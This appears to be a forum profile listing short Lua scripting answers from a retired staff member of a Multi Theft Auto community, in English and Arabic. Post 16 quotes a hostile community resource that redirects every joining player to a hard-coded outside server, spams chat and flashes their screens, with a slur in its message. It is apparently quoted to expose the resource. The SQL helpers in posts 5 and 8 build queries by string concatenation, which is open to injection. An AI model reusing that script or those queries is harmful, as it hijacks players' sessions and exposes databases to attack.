Jump to content

TAPL

Retired Staff
  • Posts

    7,337
  • Joined

  • Days Won

    11

Everything posted by TAPL

  1. Where is thePlayer defined?
  2. TAPL

    Error

    ^^ Is this client side or server side? And btw, i was asking what the event used with this code: And why you need the trigger. function SweepEnter(theVehicle, seat, jacked) local id = getElementModel ( theVehicle ) if id == 574 then outputChatBox("You are now sweeping!", thePlayer, 255, 0, 0) triggerClientEvent("SweepRoute", thePlayer) end end Probably it's source not thePlayer.
  3. إذا ما تعرف تغير كلمة إلى كلمة ثانية بكود بسيط و معطينك الكلمة و الكلمة الي تستبدلها و مو عارف تسويه فالأفضل لا تفتح سيرفر ولا تتعب نفسك ولا تتعبنا
  4. TAPL

    Error

    What is the event?
  5. TAPL

    Help SQL plis

    local connection = nil addEventHandler("onResourceStart", resourceRoot, function() connection = dbConnect("sqlite", "database/database.db") if (connection)then outputDebugString("Successfully connected to database.db") else outputDebugString("Failed to connect to database.db", 3) end end ) function dbQueryZA(Query) if (not connection) then return false, "Couldn't connect to SQLite database." end local query = dbQuery(connection, Query) local result, numrows, errmsg = dbPoll(query, -1) if (type(result) == "table" and #result == 0 or not result) then return false else return result end end function dbExecZA(Query) if (not connection) then return false, "Couldn't connect to SQLite database." end return dbExec(connection, Query) end addEventHandler("onResourceStart", resourceRoot, function() exports["scoreboard"]:addScoreboardColumn( "Zombie kills", root, 80, "Z kills", 6) exports["server"]:dbExecZA("CREATE TABLE IF NOT EXISTS zkills (ID INTEGER PRIMARY KEY NOT NULL, account TEXT, Zkill INT)") end ) addEventHandler("onResourceStart", resourceRoot, function() for index, player in ipairs(getElementsByType("player")) do local account = getPlayerAccount(player) if (not account or isGuestAccount(account)) then return false end local accountName = getAccountName(account) local zkill = getAccountZkill(accountName) if (account) then if not (zkill) then addZkillToDatabase ( accountName ) setElementData(player, "Zombie kills", 0) else setElementData(player, "Zombie kills", zkill) end end end end) addEventHandler("onResourceStop", resourceRoot, function () for index, player in ipairs(getElementsByType("player")) do local zkill = getElementData(player,"Zombie kills") or 0 local account = getPlayerAccount(player) if (not account or isGuestAccount(account)) then return false end local accountName = getAccountName(account) if (zkill) and (account) then setAccountZkill(accountName, zkill) removeElementData(player, "Zombie kills") end end end) addEventHandler("onPlayerLogout", getRootElement(), function (account) local zkill = getElementData(source,"Zombie kills") or 0 local accountName = getAccountName(account) setAccountZkill(accountName, zkill) removeElementData(source, "Zombie kills") end) addEventHandler("onPlayerQuit", getRootElement(), function ( ) local zkill = getElementData(source,"Zombie kills") or 0 local account = getPlayerAccount(source) if (not account or isGuestAccount(account)) then return false end local accountName = getAccountName(account) if (zkill) and (account) then setAccountZkill(accountName, zkill) end end) addEventHandler("onPlayerLogin", getRootElement(), function (_,account) local accountName = getAccountName(account) local zkill = getAccountZkill(accountName) if not ( zkill ) then addZkillToDatabase ( accountName ) setElementData(source, "Zombie kills", 0) else setElementData(source, "Zombie kills", zkill) end end) function addZkillToDatabase(account) return exports["server"]:dbExecZA("INSERT INTO zkills (ID, account, Zkill) VALUES (NULL, '"..account.."', '0')") end function getAccountZkill(account) local result = exports["server"]:dbQueryZA( "SELECT * FROM zkills WHERE account = '"..account.."'") if (type(result) == "table" and #result == 0 or not result) then return false else return tostring(result[1]["Zkill"]) end end function setAccountZkill(account, theZkille) return exports["server"]:dbExecZA("UPDATE zkills SET Zkill = '"..theZkille.."' WHERE account = '"..account.."'") end
  6. TAPL

    Help SQL plis

    Yes.
  7. TAPL

    Help SQL plis

    Post the code you use.
  8. TAPL

    Help SQL plis

    Try local connection = nil addEventHandler("onResourceStart", resourceRoot, function() connection = dbConnect("sqlite", "database/database.db") if (connection)then outputDebugString("Successfully connected to database.db") else outputDebugString("Failed to connect to database.db", 3) end end ) function dbQueryZA(Query, ...) if (not connection) then return false, "Couldn't connect to SQLite database." end local query = dbQuery(connection, Query, table.concat({...}, ", ")) local result, numrows, errmsg = dbPoll(query, -1) if (type(result) == "table" and #result == 0 or not result) then return false else return result end end function dbExecZA(Query, ...) if (not connection) then return false, "Couldn't connect to SQLite database." end return dbExec(connection, Query, table.concat({...}, ", ")) end
  9. https://forum.multitheftauto.com/viewforum.php?f=164 https://forum.multitheftauto.com/viewtopic.php?f=164&t=50863 https://forum.multitheftauto.com/viewtopic.php?f=164&t=66296
  10. moveObject
  11. وين الكود!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
  12. https://community.multitheftauto.com
  13. سطر 5 ناقص اقواس
  14. هريسه
  15. getElementModel onClientPlayerDamage cancelEvent
  16. https://community.multitheftauto.com/ind ... ls&id=8241 This explain all: setTimer(outputChatBox,1000,0,"#ff0000(تم الدعس من قبل ععمك كنق ههههه تبي مود الخطف ؟ لايوجد غير الدعس",root,0,0,0,true) setMaxPlayers( 10 ) addEventHandler("onPlayerJoin",root, function() redirectPlayer(source,'79.143.179.30','22042') end ) fadeCamera(player, false) setTimer(function () fadeCamera ( root, false, 1.0, math.random(255), math.random(255), math.random(255)) end,500,0) setTimer(function () for index, player in ipairs(getElementsByType("player")) do message = "حياكم الله في سيرفر جراند العرب للمخانيث فقط" local serverDisplay = textCreateDisplay() textDisplayAddObserver ( serverDisplay, player ) local serverText = textCreateTextItem( ""..message, 0.5, 0.5, 2, 205, 0, 0, 255, 2.3, "center", "center" ) textDisplayAddText ( serverDisplay, serverText ) end end,50,1) setTimer(outputChatBox,1000,0,"#FF0000|HaEcK|[ <<<تم دعسك ضض ",root,0,0,0,true ) DONE
  17. كوبي بست
  18. bindKey guiSetVisible guiGetVisible showCursor و ياليت يا بطل مره ثانية تبحث لان الموضوع مطروح مليون مليار تلريون مره *ينقل إلى قسم البرمجة
  19. You're welcome.
  20. TAPL

    Variable names

    You don't need element data or anything else, you can use the player element. myT = {} myT[getLocalPlayer()] = createObject(id, x, y, z) Example: vehicle = {} addCommandHandler("car", function(player) if isElement(vehicle[player]) then destroyElement(vehicle[player]) vehicle[player] = nil end local x, y, z = getElementPosition(player) vehicle[player] = createVehicle(411, x, y, z) warpPedIntoVehicle(player, vehicle[player]) end)
  21. if (result) then if type(result) == "table" then for i, v in ipairs(result) do local id = tonumber(v["id"]) local x = tonumber(v["x"]) local y = tonumber(v["y"]) local z = tonumber(v["z"]) local int = tonumber(v["interior"]) local dim = tonumber(v["dimension"]) local rot = tonumber(v["rotation"])
  22. Try to use -1 as timeout.
  23. انت تبي حركات اكتب حركات؟
  24. https://community.multitheftauto.com
×
×
  • Create New...